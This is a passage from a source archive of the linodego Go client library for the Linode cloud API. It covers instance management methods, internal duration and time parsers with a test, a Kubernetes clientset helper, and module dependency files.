string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(InstancesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*InstancesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListInstances lists linode instances func (c *Client) ListInstances(ctx context.Context, opts *ListOptions) ([]Instance, error) { response := InstancesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetInstance gets the instance with the provided ID func (c *Client) GetInstance(ctx context.Context, linodeID int) (*Instance, error) { e := fmt.Sprintf("linode/instances/%d", linodeID) req := c.R(ctx).SetResult(Instance{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Instance), nil } // GetInstanceTransfer gets the instance with the provided ID func (c *Client) GetInstanceTransfer(ctx context.Context, linodeID int) (*InstanceTransfer, error) { e := fmt.Sprintf("linode/instances/%d/transfer", linodeID) req := c.R(ctx).SetResult(InstanceTransfer{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceTransfer), nil } // CreateInstance creates a Linode instance func (c *Client) CreateInstance(ctx context.Context, opts InstanceCreateOptions) (*Instance, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "linode/instances" req := c.R(ctx).SetResult(&Instance{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Instance), nil } // UpdateInstance creates a Linode instance func (c *Client) UpdateInstance(ctx context.Context, linodeID int, opts InstanceUpdateOptions) (*Instance, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d", linodeID) req := c.R(ctx).SetResult(&Instance{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Instance), nil } // RenameInstance renames an Instance func (c *Client) RenameInstance(ctx context.Context, linodeID int, label string) (*Instance, error) { return c.UpdateInstance(ctx, linodeID, InstanceUpdateOptions{Label: label}) } // DeleteInstance deletes a Linode instance func (c *Client) DeleteInstance(ctx context.Context, linodeID int) error { e := fmt.Sprintf("linode/instances/%d", linodeID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // BootInstance will boot a Linode instance // A configID of 0 will cause Linode to choose the last/best config func (c *Client) BootInstance(ctx context.Context, linodeID int, configID int) error { var body string if configID != 0 { bodyMap := map[string]int{"config_id": configID} bodyJSON, err := json.Marshal(bodyMap) if err != nil { return err } body = string(bodyJSON) } e := fmt.Sprintf("linode/instances/%d/boot", linodeID) _, err := coupleAPIErrors(c.R(ctx).SetBody(body).Post(e)) return err } // CloneInstance clone an existing Instances Disks and Configuration profiles to another Linode Instance func (c *Client) CloneInstance(ctx context.Context, linodeID int, opts InstanceCloneOptions) (*Instance, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&Instance{}).SetBody(string(body)) e := fmt.Sprintf("linode/instances/%d/clone", linodeID) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Instance), nil } // RebootInstance reboots a Linode instance // A configID of 0 will cause Linode to choose the last/best config func (c *Client) RebootInstance(ctx context.Context, linodeID int, configID int) error { body := "{}" if configID != 0 { bodyMap := map[string]int{"config_id": configID} bodyJSON, err := json.Marshal(bodyMap) if err != nil { return err } body = string(bodyJSON) } e := fmt.Sprintf("linode/instances/%d/reboot", linodeID) _, err := coupleAPIErrors(c.R(ctx).SetBody(body).Post(e)) return err } // InstanceRebuildOptions is a struct representing the options to send to the rebuild linode endpoint type InstanceRebuildOptions struct { Image string `json:"image,omitempty"` RootPass string `json:"root_pass,omitempty"` AuthorizedKeys []string `json:"authorized_keys,omitempty"` AuthorizedUsers []string `json:"authorized_users,omitempty"` StackScriptID int `json:"stackscript_id,omitempty"` StackScriptData map[string]string `json:"stackscript_data,omitempty"` Booted *bool `json:"booted,omitempty"` Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` Type string `json:"type,omitempty"` } // RebuildInstance Deletes all Disks and Configs on this Linode, // then deploys a new Image to this Linode with the given attributes. func (c *Client) RebuildInstance(ctx context.Context, linodeID int, opts InstanceRebuildOptions) (*Instance, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("linode/instances/%d/rebuild", linodeID) req := c.R(ctx).SetBody(string(body)).SetResult(&Instance{}) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Instance), nil } // InstanceRescueOptions fields are those accepted by RescueInstance type InstanceRescueOptions struct { Devices InstanceConfigDeviceMap `json:"devices"` } // RescueInstance reboots an instance into a safe environment for performing many system recovery and disk management tasks. // Rescue Mode is based on the Finnix recovery distribution, a self-contained and bootable Linux distribution. // You can also use Rescue Mode for tasks other than disaster recovery, such as formatting disks to use different filesystems, // copying data between disks, and downloading files from a disk via SSH and SFTP. func (c *Client) RescueInstance(ctx context.Context, linodeID int, opts InstanceRescueOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("linode/instances/%d/rescue", linodeID) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } // ResizeInstance resizes an instance to new Linode type func (c *Client) ResizeInstance(ctx context.Context, linodeID int, opts InstanceResizeOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("linode/instances/%d/resize", linodeID) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } // ShutdownInstance - Shutdown an instance func (c *Client) ShutdownInstance(ctx context.Context, id int) error { return c.simpleInstanceAction(ctx, "shutdown", id) } // MutateInstance Upgrades a Linode to its next generation. func (c *Client) MutateInstance(ctx context.Context, id int) error { return c.simpleInstanceAction(ctx, "mutate", id) } // MigrateInstance - Migrate an instance func (c *Client) MigrateInstance(ctx context.Context, linodeID int, opts InstanceMigrateOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("linode/instances/%d/migrate", linodeID) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } // simpleInstanceAction is a helper for Instance actions that take no parameters // and return empty responses `{}` unless they return a standard error func (c *Client) simpleInstanceAction(ctx context.Context, action string, linodeID int) error { action = url.PathEscape(action) e := fmt.Sprintf("linode/instances/%d/%s", linodeID, action) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } golang-github-linode-linodego-1.28.0/internal/000077500000000000000000000000001455402072200212145ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/internal/duration/000077500000000000000000000000001455402072200230415ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/internal/duration/duration.go000066400000000000000000000022331455402072200252150ustar00rootroot00000000000000package duration import ( "encoding/json" "fmt" "log" "strconv" "strings" ) func UnmarshalTimeRemaining(m json.RawMessage) *int { jsonBytes, err := m.MarshalJSON() if err != nil { panic(jsonBytes) } if len(jsonBytes) == 4 && string(jsonBytes) == "null" { return nil } var timeStr string if err := json.Unmarshal(jsonBytes, &timeStr); err == nil && len(timeStr) > 0 { dur, err := durationToSeconds(timeStr) if err != nil { panic(err) } return &dur } var intPtr int if err := json.Unmarshal(jsonBytes, &intPtr); err == nil { return &intPtr } log.Println("[WARN] Unexpected unmarshalTimeRemaining value: ", jsonBytes) return nil } // durationToSeconds takes a hh:mm:ss string and returns the number of seconds. func durationToSeconds(s string) (int, error) { multipliers := [3]int{60 * 60, 60, 1} segs := strings.Split(s, ":") if len(segs) > len(multipliers) { return 0, fmt.Errorf("too many ':' separators in time duration: %s", s) } var d int l := len(segs) for i := 0; i < l; i++ { m, err := strconv.Atoi(segs[i]) if err != nil { return 0, err } d += m * multipliers[i+len(multipliers)-l] } return d, nil } golang-github-linode-linodego-1.28.0/internal/duration/duration_test.go000066400000000000000000000007131455402072200262550ustar00rootroot00000000000000package duration import ( "encoding/json" "testing" ) func TestUnmarshalTimeRemaining(t *testing.T) { if *UnmarshalTimeRemaining(json.RawMessage("\"1:23\"")) != 83 { t.Errorf("Error parsing duration style time_remaining") } if UnmarshalTimeRemaining(json.RawMessage("null")) != nil { t.Errorf("Error parsing null time_remaining") } if *UnmarshalTimeRemaining(json.RawMessage("0")) != 0 { t.Errorf("Error parsing int style time_remaining") } } golang-github-linode-linodego-1.28.0/internal/parseabletime/000077500000000000000000000000001455402072200240315ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/internal/parseabletime/parseable_time.go000066400000000000000000000004551455402072200273400ustar00rootroot00000000000000package parseabletime import ( "time" ) const ( dateLayout = "2006-01-02T15:04:05" ) type ParseableTime time.Time func (p *ParseableTime) UnmarshalJSON(b []byte) error { t, err := time.Parse(`"`+dateLayout+`"`, string(b)) if err != nil { return err } *p = ParseableTime(t) return nil } golang-github-linode-linodego-1.28.0/k8s/000077500000000000000000000000001455402072200201055ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/k8s/clientset.go000066400000000000000000000021471455402072200224320ustar00rootroot00000000000000package k8s import ( "encoding/base64" "fmt" "github.com/linode/linodego" "k8s.io/client-go/kubernetes" "k8s.io/client-go/tools/clientcmd" "k8s.io/client-go/transport" ) // NewClientsetFromBytes builds a Clientset from a given Kubeconfig. // // Takes an optional transport.WrapperFunc to add request/response middleware to // api-server requests. func BuildClientsetFromConfig( lkeKubeconfig *linodego.LKEClusterKubeconfig, transportWrapper transport.WrapperFunc, ) (kubernetes.Interface, error) { kubeConfigBytes, err := base64.StdEncoding.DecodeString(lkeKubeconfig.KubeConfig) if err != nil { return nil, fmt.Errorf("failed to decode kubeconfig: %w", err) } restClientConfig, err := clientcmd.RESTConfigFromKubeConfig(kubeConfigBytes) if err != nil { return nil, fmt.Errorf("failed to parse LKE cluster kubeconfig: %w", err) } if transportWrapper != nil { restClientConfig.Wrap(transportWrapper) } clientset, err := kubernetes.NewForConfig(restClientConfig) if err != nil { return nil, fmt.Errorf("failed to build k8s client from LKE cluster kubeconfig: %w", err) } return clientset, nil } golang-github-linode-linodego-1.28.0/k8s/go.mod000066400000000000000000000040631455402072200212160ustar00rootroot00000000000000module github.com/linode/linodego/k8s require ( github.com/linode/linodego v1.25.0 k8s.io/api v0.28.1 k8s.io/apimachinery v0.28.1 k8s.io/client-go v0.28.1 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/emicklei/go-restful/v3 v3.9.0 // indirect github.com/go-logr/logr v1.2.4 // indirect github.com/go-openapi/jsonpointer v0.19.6 // indirect github.com/go-openapi/jsonreference v0.20.2 // indirect github.com/go-openapi/swag v0.22.3 // indirect github.com/go-resty/resty/v2 v2.11.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/protobuf v1.5.3 // indirect github.com/google/gnostic-models v0.6.8 // indirect github.com/google/go-cmp v0.6.0 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/imdario/mergo v0.3.6 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/spf13/pflag v1.0.5 // indirect golang.org/x/net v0.20.0 // indirect golang.org/x/oauth2 v0.8.0 // indirect golang.org/x/sys v0.16.0 // indirect golang.org/x/term v0.16.0 // indirect golang.org/x/text v0.14.0 // indirect golang.org/x/time v0.3.0 // indirect google.golang.org/appengine v1.6.7 // indirect google.golang.org/protobuf v1.30.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect k8s.io/klog/v2 v2.100.1 // indirect k8s.io/kube-openapi v0.0.0-20230717233707-2695361300d9 // indirect k8s.io/utils v0.0.0-20230406110748-d93618cff8a2 // indirect sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect sigs.k8s.io/structured-merge-diff/v4 v4.2.3 // indirect sigs.k8s.io/yaml v1.3.0 // indirect ) replace github.com/linode/linodego => ../ go 1.20 golang-github-linode-linodego-1.28.0/k8s/go.sum000066400000000000000000000377751455402072200212630ustar00rootroot00000000000000github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/emicklei/go-restful/v3 v3.9.0 h1:XwGDlfxEnQZzuopoqxwSEllNcCOM9DhhFyhFIIGKwxE= github.com/emicklei/go-restful/v3 v3.9.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/go-logr/logr v1.2.0/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.2.4 h1:g01GSCwiDw2xSZfjJ2/T9M+S6pFdcNtFYsp+Y43HYDQ= github.com/go-logr/logr v1.2.4/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-openapi/jsonpointer v0.19.6 h1:eCs3fxoIi3Wh6vtgmLTOjdhSpiqphQ+DaPn38N2ZdrE= github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= github.com/go-openapi/swag v0.22.3 h1:yMBqmnQ0gyZvEb/+KzuWZOXgllrXT4SADYbvDaXHv/g= github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-resty/resty/v2 v2.11.0 h1:i7jMfNOJYMp69lq7qozJP+bjgzfAzeOhuGlyDrqxT/8= github.com/go-resty/resty/v2 v2.11.0/go.mod h1:iiP/OpA0CkcL3IGt1O0+/SIItFUbkkyw5BGXiVdTu+A= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1 h1:K6RDEckDVWvDI9JAJYCmNdQXq6neHJOYx3V6jnqNEec= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/imdario/mergo v0.3.6 h1:xTNEAn+kxVO7dTZGu0CegyqKZmoWFI0rF8UxjlB2d28= github.com/imdario/mergo v0.3.6/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/onsi/ginkgo/v2 v2.9.4 h1:xR7vG4IXt5RWx6FfIjyAtsoMAtnc3C/rFXBBd2AjZwE= github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo= golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= golang.org/x/oauth2 v0.8.0 h1:6dkIjl3j3LtZ/O3sTgZTMsLKSftL/B8Zgq4huOIIUu8= golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/term v0.16.0 h1:m+B6fahuftsE9qjo0VWp2FW0mB3MTJvR0BaMQrq0pmE= golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod 